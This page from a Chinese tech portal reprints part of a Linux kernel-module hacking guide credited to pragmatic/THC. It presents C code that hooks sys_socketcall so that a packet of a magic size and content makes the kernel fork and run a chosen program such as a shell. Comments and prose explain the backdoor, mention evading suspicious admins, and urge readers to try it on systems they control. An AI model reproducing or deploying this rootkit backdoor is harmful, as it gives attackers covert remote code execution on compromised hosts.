科技动态 | 硬件广场 | 下载基地 | 网络教室 | 网络冲浪 | 科学博览 | 移动时代 | 手机上网 | 桌面壁纸 | 科技商情 |
2.6 和网络(Socket)有关的入侵
2.6.1 如果控制Socket操作
int hacked_socketcall(int call, unsigned long *args) { int ret, ret2, compt; /*我们的特定的大小*/ int MAGICSIZE=42; /*我们的特定的内容*/ char *t = "packet_contents"; unsigned long *sargs = args; unsigned long a0, a1, mmm; void *buf; /*进行系统调用*/ ret = (*o_socketcall) (call, args); /*是收到我们需要大小的包么?*/ if (ret == MAGICSIZE && call == SYS_RECVFROM) { /*对参数进行分析*/ a0 = get_user(sargs); a1 = get_user(sargs + 1); buf = kmalloc(ret, GFP_KERNEL); memcpy_fromfs(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1;
/*是否有我们的特定的内容*/ if (strstr(buf, mtroj)) { kfree(buf); ret2 = fork(); if (ret2 == 0) {
/*如果是,执行我们的程序(shell或者任何我们想要得...)*/ mmm = current->mm->brk; ret2 = brk((void *) (mmm + 256)); memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); /*plaguez的execve实现->见2.4.2*/ ret2 = my_execve((char *) mmm + 2, NULL, NULL); } } } return ret; } OK,像往常一样,我对代码加了一些注释.这些代码看上去有点难看.但是很好用.这个代码拦截了每一个sys_socketcall(这是和所有socket操作有关的系统调用,见1.2).在替换以后的代码中,我们先调用了正常的系统调用.在此之后返回了值和调用参数被检查.如果这是一个接收操作并且包的大小(...和tcp/ip包毫无关系...)是我们所需要的,我们就会检查接收包的内容.如果可以找到我们想要的内容,这个代码就会确定我们(hacker)想启动一个后门程序.这个由my_execve(...)完成. 在我看来,这个实现十分的好.他也可以用来等待一个特定的连接或者关闭操作,只要你有创造力. 要记住上面提到的方法需要一个在某个端口的服务.因为接收操作只会在一个守护进程从某个已经建立的连接中接收数据时才会发生.这是一个不好的地方,因为某些多疑的管理员会注意到这些.在你的系统中测试这些后门程序并看看会发生什么事情.发现你的最喜欢的利用sys_socketcall的方法,并且在你控制的系统中使用他.
摘自《赛迪网》 pragmatic/THC,(版本1.0)/文
|
|
版权所有 中华网 |